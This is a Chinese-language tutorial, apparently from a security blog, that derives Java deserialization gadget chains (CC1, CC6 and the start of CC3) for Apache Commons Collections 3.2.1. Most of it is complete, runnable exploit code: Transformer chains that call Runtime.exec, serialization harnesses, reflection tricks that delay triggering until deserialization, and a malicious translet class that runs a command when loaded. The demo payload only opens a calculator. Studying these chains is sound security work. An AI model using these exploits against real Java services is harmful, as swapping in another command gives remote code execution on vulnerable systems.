CC1 0x00环境准备
jdk1.8.0_8u65(在8u71之后这个漏洞被修复)
Maven
openJDK8u65
CommonsCollections3.2.1
0x01初步分析 入口类是org.apache.commons.collections
下的Transformer
接口,按住Ctrl+Alt+B查看实现这个接口的类,其中我们需要找到的类是InvokerTransformer
在InvokerTransformer
这个类最后的transform
方法中,我们找到了可能引起命令执行的点:这里首先通过反射获取输入对象的类,然后可以再获取并调用这个类任意的方法,而这些参数都是可控的,可以通过这段代码来进行命令执行
我们先来回顾一下通过反射进行命令执行的过程
1 2 3 4 5 6 7 8 9 10 11 12 13 package org.example;import java.lang.reflect.Method;public class RuntimeTest { public static void main (String[] args) throws Exception { Runtime runtime=Runtime.getRuntime(); Class c=runtime.getClass(); Method method=c.getDeclaredMethod("exec" ,String.class); method.setAccessible(true ); method.invoke(runtime,"calc" ); } }
接下来利用InvokerTransformer
去命令执行的步骤就很清晰了,看一下它的构造函数
1 2 3 4 5 6 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
我们要调用的方法是exec
,参数是calc
,这个参数的类型自然是String
类型的。这里先定义一个Runtime类型的对象runtime,然后根据InvokerTransformer
的构造函数进行传参,最后调用它的transform
方法,把runtime这个对象传进去。
1 2 3 4 5 6 7 8 9 10 11 package org.example;import org.apache.commons.collections.functors.InvokerTransformer;public class InvokerTransformerTest { public static void main (String[] args) { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); invokerTransformer.transform(runtime); } }
现在我们知道了transform方法可以进行命令执行,接下来就要去找什么地方调用了transform方法
0x02寻找完整的利用链 前面我们只分析了利用链(Gadget Chain)中的最后一步:如何通过InvokerTransformer
来执行命令。现在我们需要找到什么地方调用了transform()
方法,右键transform
然后find usages,发现TransformedMap
中的checkSetValue
中调用了这个方法
咦,这个valueTransformer
是什么呢?我们在TransformedMap
的构造函数中发现了它
但是这个构造函数是protected的,也就是说我们在别的包里并不能直接new这个对象,所以得找到一个public方法来建立一个TransformedMap
对象。然后我们找到了一个静态的decorate
方法,直接返回TransformedMap
到这一步我们可以尝试编写链子的一部分,先把整体的思路理清一下:因为最后是在checkSetValue
的valueTransformer
来调用transform
方法的,所以我们得通过TransformedMap
的构造函数来把InvokerTransformer
类生成的对象赋值给valueTransformer
,但是由于TransformedMap
的构造函数是protected
的,在包外不能直接new一个对象,就要通过TransformedMap
的一个静态方法decorate
来生成一个TransformedMap
对象,然后就可以通过反射进行命令执行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package org.example;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class TransformedMapTest { public static void main (String[] args) throws Exception { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap hashMap=new HashMap (); Map decorateMap= TransformedMap.decorate(hashMap,null ,invokerTransformer); Class<TransformedMap> transformedMapClass=TransformedMap.class; Method method=transformedMapClass.getDeclaredMethod("checkSetValue" , Object.class); method.setAccessible(true ); method.invoke(decorateMap,runtime); } }
哪里调用了checkSetValue
方法? 和前面一样,为了链子的完整性,我们需要找到什么地方调用了checkSetValue
,继续右键find usages
在AbstractInputCheckedMapDecorator
类中找到了checkSetValue
被调用的地方,在它的一个内部类MapEntry
中的setValue
方法,点击左边那个小蓝圈,向上追踪到AbstractMapEntryDecorator
类中的setValue
。
继续向上追踪,就到了Map.Entry
接口的setValue
方法,Map.Entry
代表映射中的一个键值对,当我们要更新这个键值对的值的时候,就需要调用setValue
方法
可以写一个demo测试一下,关键部分在于最后的循环,我们可以在AbstractInputCheckedMapDecorator
类中的setValue
方法上打一个断点,也确实会跳转到这个方法上面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package org.example;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.util.HashMap;import java.util.Map;public class MapTest { public static void main (String[] args) { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap<Object,Object> hashMap=new HashMap <>(); hashMap.put("key" ,"value" ); Map<Object,Object> map= TransformedMap.decorate(hashMap,null ,invokerTransformer); for (Map.Entry entry:map.entrySet()){ entry.setValue(runtime); } } }
怎么样遍历Map
? 根据前面的demo,我们需要找到有setValue()
的类,再回忆一下java反序列攻击的入口方法——readObject()
。我们继续右键setValue()
,find usages。
我们找到了一个绝佳的类AnnotationInvocationHandler
,继承了InvocationHandler
(我们在动态代理中使用过它)和Serializable
,里面重写了readObject()
,还在里面遍历Map,调用setValue()
方法。这也是链子的最后一部分
但是这个类的作用域是default的,需要通过反射 方法getDeclaredConstructor()
来获取到它的构造函数并实例化它,来看一下AnnotationInvocationHandler
的构造函数
需要两个参数:type期望一个注解类型Class<? extends Annotation>
,memberValues期望一个映射。
0x03手写exp 开始写exp之前我们先把要解决的问题列出来:
解决Runtime
类不能被序列化
Runtime
类不可以被序列化,但是Runtime.class
是可以序列化的,我们把前面反射执行命令的代码改一下,通过前面提到的InvokerTransformer
来调用Runtime.getRuntime()
的exec
方法,而且InvokerTransformer
是可以序列化的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.example;import org.apache.commons.collections.functors.InvokerTransformer;import java.lang.reflect.Method;public class RuntimeTest { public static void main (String[] args) throws Exception { Class c=Runtime.class; Method getRuntimeMethod=(Method)new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }).transform(c); Runtime runtime=(Runtime)new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }).transform(getRuntimeMethod); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }).transform(runtime); } }
这三段代码的形式都是相同的new InvokerTransformer(...).transform(...)
形式,为了提高代码的复用性,这里引入一个新的类ChianedTransformer
,可以循环递归调用transform方法
ChainedTransformer
类的构造函数,需要传入一个Transformer数组:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;public class ChainedTransformerTest { public static void main (String[] args) { Transformer transformers[] = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(Runtime.class); } }
这样是可以成功弹出计算器的,然后再结合一下前面的decorate
方法,就可以把链子写出来了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class GadgetChain { public static void main (String[] args) throws Exception { Transformer transformers[] = new Transformer []{ new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap=new HashMap <>(); hashMap.put("key" ,"value" ); Map<Object,Object> transforedMap= TransformedMap.decorate(hashMap,null ,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o=constructor.newInstance(Override.class,transforedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object o) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(o); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
怎么进入到setValue()
? 然而运行代码后却没有弹计算器,这是怎么会事呢?我们在AnnotationInvocationHandler
下的readObject()
方法上打下断点,然后开始调试
因为memberType
为null,所以代码在第一个判断就直接跳出去了,原因是Override
没有任何的成员类型,因此尝试获得memberTypes
时只会拿到一个空的Map,改用Target
注解,里面声明了一个value()
方法
如果我们现在就运行修改后的代码会发现memberType
仍然为null,我们得看懂循环里的前两行代码在做什么
1 2 String name = memberValue.getKey();Class<?> memberType = memberTypes.get(name);
Target
里有一个名为value()
的成员函数,所以我们也得把传入的map的key改为value
,hashMap.put("value","notlus");
成功通过两个判断,进入到setValue()
中,但是还不能弹出计算器,因为这里setValue()
里的值不可控,而是一个AnnotationTypeMismatchExceptionProxy
对象
怎么控制setValue()
里的参数? 为了解决这个问题,我们需要用到ConstantTransformer
类
看它的构造函数和transform
方法,无论传入什么参数,transform()
都返回iConstant
,所以我们只需要在初始化的时候传入Runtime.class
,在遍历transforms[]
数组的时候,在checkSetValue()
的时候调用transform()
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class GadgetChain { public static void main (String[] args) throws Exception { Transformer transformers[] = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> hashMap=new HashMap <>(); hashMap.put("value" ,"notlus" ); Map<Object,Object> transforedMap= TransformedMap.decorate(hashMap,null ,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); Object o=constructor.newInstance(Target.class,transforedMap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object o) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(o); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
成功执行命令
0x04总结 整条链子分析下来还是挺麻烦的,来总结一下GadgetChain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator.setValue() TransformedMap.checkSetvalue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
0x05对比ysoserial
里的写法 对比ysoseserial
的GadgetChain
,里面用到了LazyMap.get()
方法和AnnotationInvaocationHandler.invoke()
这两个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() Map(Proxy).entrySet() AnnotationInvocationHandler.invoke() LazyMap.get() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() Class.getMethod() InvokerTransformer.transform() Method.invoke() Runtime.getRuntime() InvokerTransformer.transform() Method.invoke() Runtime.exec()
和TransformedMap
的利用方法类似,目标是通过get()
调用transform
,但是因为LazyMap
的构造函数是protected
的,我们无法直接new一个对象,所以得通过public
方法来获取这个对象,进而调用transform()
。但是AnnotationInvocationHandler.readObject()
里面并没有直接调用get()
,不过在invoke()
方法里调用了get()
方法,而这个invoke()
方法实现了InvocationHandler
接口里的invoke()
,
那怎么触发get
方法呢?看这两个if判断,我们需要一个无参方法。非常巧,map.entrySet()
正好是无参方法。
在这打个断点,invoke()
把entrySet
传进来了,这里的map
就是我们传入的hashMap
,里面当然不包含叫entrySet
的key了,然后就来到transform
这一步
AnnotationInvocationHandler
实际还上使用了动态代理,我们知道,在执行动态代理对象的任意方法时,实际上执行的是InvocationHandler
的invoke()
方法,只要在readObject()
中调用了代理对象的任意方法,就会自动执行invoke
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class LazyMapTest { public static void main (String[] args) throws Exception { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazymap=LazyMap.decorate(hashMap,chainedTransformer); Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler=(InvocationHandler) constructor.newInstance(Override.class,lazymap); Map proxymap=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class []{Map.class},invocationHandler); Object o=constructor.newInstance(Override.class,proxymap); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object o) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(o); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object o=ois.readObject(); return o; } }
在上面的代码中,我们生成的代理对象是proxymap
,当反序列化的时候,在AnnotationInvocationHandler.readObject()
中调用了entrySet()
方法,也就会触发代理对象proxymap
的invoke()
方法,后面的基本就和TransformedMap
版本的利用链差不多了
CC6 0x00环境准备
jdk1.8.0_8u71(CC6实际上不受jdk版本限制)
Maven
CommonsCollections3.2.1
0x01利用链分析 利用LazyMap
执行命令 先来看一下ysoserial里给出的GadgetChain
1 2 3 4 5 6 7 8 9 10 11 12 Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
可以说,CC6实际上就是URLDNS的前半段加上CC1的后半段。我们在看谁调用了get()
方法之前先写一个利用LazyMap
来执行命令的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package org.example;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class LazyMapTest { public static void main (String[] args) throws Exception { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap hashMap=new HashMap (); Map lazymap= LazyMap.decorate(hashMap,invokerTransformer); Class<LazyMap> lazymapclass=LazyMap.class; Method method=lazymapclass.getDeclaredMethod("get" ,Object.class); method.setAccessible(true ); method.invoke(lazymap,runtime); } }
哪里调用了getValue
方法? 然后find usages,在TiedMapEntry
里找到getValue()
这是一个public方法,我们可以直接调用,把上面的demo改一下,也是可以弹出计算器的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package org.example;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.lang.reflect.Method;import java.util.HashMap;import java.util.Map;public class LazyMapTest { public static void main (String[] args) throws Exception { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap hashMap=new HashMap (); Map lazymap= LazyMap.decorate(hashMap,invokerTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazymap,runtime); tiedMapEntry.getValue(); } }
我们在TiedMapEntry
下找到了调用了getValue()
方法的hashCode()
方法
是不是很熟悉,在URLDNS链中也使用过同名函数hashCode()
方法。后面的链子也就显而易见了,和URLDNS链是基本一致的,接下来的链子肯定就是从HashMap
类里去找。在HashMap
类下的hash()
方法调用了hashCode()
然后在HashMap
类中的put
方法找到了hash
方法的调用
尝试编写一个demo,由put()
方法进行命令执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 package org.example;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.util.HashMap;import java.util.Map;public class putTest { public static void main (String[] args) { Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }); HashMap hashMap=new HashMap (); Map lazyMap=LazyMap.decorate(hashMap,invokerTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,runtime); HashMap<Object,Object> expMap=new HashMap <>(); expMap.put(tiedMapEntry,"key" ); } }
这里有一个坑,如果我们在代码17行处打断点调试,还没到步入到put()
方法就会弹计算器。这个是IDEA的问题,直接跳到第三节
0x02手写exp 结合前面几个demo,我们就可以稍作修改写出CC6链的exp了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.util.HashMap;import java.util.Map;public class CC6exp { public static void main (String[] args) throws IOException, ClassNotFoundException { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazyMap=LazyMap.decorate(hashMap,chainedTransformer); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,"key1" ); HashMap<Object,Object> expMap=new HashMap <>(); expMap.put(tiedMapEntry,"key2" ); serialize(expMap); unserialize("ser.bin" ); } public static void serialize (Object o) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(o); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object o=ois.readObject(); return o; } }
解决问题 我们的目的是在反序列化的时候执行命令,但是显然在expMap.put(tiedMapEntry,"key2")
这一步,也就是反序列化之前就已经执行命令了,这一点和URLDNS链是类似的,为了在put()
这一步的时候不执行命令,我们就需要在decorate()
的时候传入一个无用的值,例如:
1 Map lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer (1 ));
然后在执行expMap.put(tiedMapEntry,"key2");
后,在把里面的值改回chainedTransformer
,因为这个成员变量是protected的,我们得通过反射来改它的值
1 2 3 4 Class<LazyMap> lazyMapClass=LazyMap.class; Field factoryField=lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer);/改为chainedTransformer
但是修改后的exp仍然无法弹出计算器,让我们来调试看看原因。在反序列化处打下断点
一路跟踪到LazyMap.get()
,发现我们传入LazyMap
的hashMap
是包含键key1
的,原因是前面执行expMap.put(tiedMapEntry,"key2")
方法的时候,当程序进入到159行的map.put(key,value)
,会把键为key1
的键值对放入hashMap
,所以当我们进行反序列化的时候也就自然不能通过判断来到transform()
方法了
解决办法就是在执行完put
之后hashMap.remove("key1")
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6exp { public static void main (String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, NoSuchFieldException { Transformer[] transformers=new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getDeclaredMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer=new ChainedTransformer (transformers); HashMap hashMap=new HashMap (); Map lazyMap=LazyMap.decorate(hashMap,new ConstantTransformer (1 )); TiedMapEntry tiedMapEntry=new TiedMapEntry (lazyMap,"key1" ); HashMap<Object,Object> expMap=new HashMap <>(); expMap.put(tiedMapEntry,"key2" ); hashMap.remove("key1" ); Class<LazyMap> lazyMapClass=LazyMap.class; Field factoryField=lazyMapClass.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,chainedTransformer); serialize(expMap); unserialize("ser.bin" ); } public static void serialize (Object o) throws IOException { ObjectOutputStream oos=new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(o); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois=new ObjectInputStream (new FileInputStream (filename)); Object o=ois.readObject(); return o; } }
0x03解决IDEA调试时弹出计算器的问题 注意到TiedMapEntry.toString()
也会调用getValue()
方法
而 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString()
方法,所以在创建 TiedMapEntry
的时候,就自动调用了 getValue()
最终将链子走完,然后弹出计算器。
把最下面两行关掉
0x04总结 整条链分析下来与ysoserial的链子有些出入,这条链子似乎最早出自p神的java安全漫谈,
1 2 3 4 5 6 7 8 9 10 GadgetChain: HashMap.readObject() HashMap.hash() TiedMapEntry.hashCode() TiedMapEntry.getValue() LazyMap.get() org.apache.commons.collections.functors.ChainedTransformer.transform() org.apache.commons.collections.functors.InvokerTransformer.transform() java.lang.reflect.Method.invoke() java.lang.Runtime.exec()
相较于ysoserial里的链子,这条链子更加简单,没有用到HashSet
这个类,因为HashMap
里的readObject
方法中调用了hash()
方法,其实就是URLDNS里的那一条。
至于ysoserial里的写法后面应该会补上,先放一个参考链接Ysoserial Commons-Collections 利用链分析 (seebug.org)
0x05对比ysoserial
的写法(待填坑) CC3 前言 CC1和CC6最终通过Runtime
类来执行命令,而CC3和CC1以及CC6不太相同,它使用的是动态类加载的方式来执行代码
0x00环境准备
jdk1.8.0_8u65(8u71后被修复)
Maven
CommonsCollections3.2.1
0x01初步分析 java动态类加载机制 先回顾一下java加载.class文件都要经过一下三步:
ClassLoader.loadClass()
:从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass
ClassLoader.findClass()
:根据基础URL指定的方式来加载类的字节码,可能会在本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
ClassLoader.defineClass()
:处理前面传入的字节码,将其处理成真正的Java类
可见,最重要的一步就是defineClass()
,因为他将字节码加载成了类对象
但是,defineClass()
是不会对类对象进行初始化的,所以我们还需要通过反射,使用newInstance()
来对类对象进行初始化。那么我们就得找到一个类,里面既有defineClass()
方法,又对defineClass
返回的类对象调用newInstance()
,这个类就是TemplatesImpl
的内部类TransletClassLoader
TemplatesImpl
有关这个类的利用细节已经在ClassLoader
里的使用**TemplatesImpl
动态加载字节码**详细介绍过了,这里先给出利用链和代码
1 TemplatesImpl.getOutputProperties()->TemplatesImpl.newTransformer()->TemplatesImpl.getTransletInstance()->TemplatesImpl.defineTransletClasses()->TransletClassLoade.defineClass()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Calc () { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { throw new RuntimeException (e); } } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class TemplatesImplTest { public static void main (String[] args) throws Exception { byte [] bytes= Files.readAllBytes(Paths.get("D:\\CTF\\Javasec\\classloader\\src\\TemplatesImplDemo\\Calc.class" )); TemplatesImpl templates=new TemplatesImpl (); setFieldValue(templates,"_name" ,"Calc" ); setFieldValue(templates,"_bytecodes" ,new byte [][]{bytes}); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl ()); templates.newTransformer(); } public static void setFieldValue (Object obj,String fieldName,Object value) throws Exception{ Field field=obj.getClass().getDeclaredField(fieldName); field.setAccessible(true ); field.set(obj,value); } }
com.sun.org.apache.xalan.internal.xsltc.TemplatesImpl
这个类中定义了一个内部类TransletClassLoader
,里面重写了defineClass
这个方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; TransletClassLoader(ClassLoader parent) { super (parent); _loadedExternalExtensionFunctions = null ; } TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) { super (parent); _loadedExternalExtensionFunctions = mapEF; } public Class<?> loadClass(String name) throws ClassNotFoundException { Class<?> ret = null ; if (_loadedExternalExtensionFunctions != null ) { ret = _loadedExternalExtensionFunctions.get(name); } if (ret == null ) { ret = super .loadClass(name); } return ret; } Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
但是这里的defineClass
由父类的protected
变成了default
,也就是说,它能够被类外部访问,我们find usages,找到TemplatesImpl.defineTransletClasses
,但它是一个私有方法
这段代码先获取_bytecodes.length
,也就是字节码的组数,然后依次进行加载
注意这里的条件判断_bytecodes
,也就是我们要加载的字节码,不能为null,以及_tfactory
也不能为null,不然_tfactory.getExternalExtensionsMap()
这一步会报错,至于为什么代码里是把TransformerFactoryImpl
对象赋值给它呢,我们后面再说。接着往上找调用方法
在这里选择getTrasnletInstance
,因为defineClass
生成的对象没有经过初始化,所以我们需要newInstance
来进行初始化,而其他两个方法不符合要求
注意_name
不能为null,否则无法往下进行类实例化。
继续往上找,找到了public
方法newTransformer
注意到TransformerImpl
构造函数的最后一个参数是TransformerFactory
,也就解答了我们前面为什么要把new TransformerFactoryIml
赋值给_tfactory
0x02将TemplatesImpl
与CC1和CC6结合 结合CC1 CC1最后是把Runtime
对象传入InvokerTransformer.transform()
,通过反射来执行命令的,而如果我们使用TemplatesImpl
动态加载字节码来执行命令,就得通过反射调用TemplatesImpl.newTransformer()
把链子改一下:
1 2 3 4 5 6 7 8 9 10 Gadget chain: ObjectInputStream.readObject() AnnotationInvocationHandler.readObject() AbstractInputCheckedMapDecorator.setValue() TransformedMap.checkSetvalue() ChainedTransformer.transform() ConstantTransformer.transform() InvokerTransformer.transform() Method.invoke() TemplatesImpl.newTransformer()
我们先写最后那部分的代码,通过InvokerTransformer.transform()
命令执行
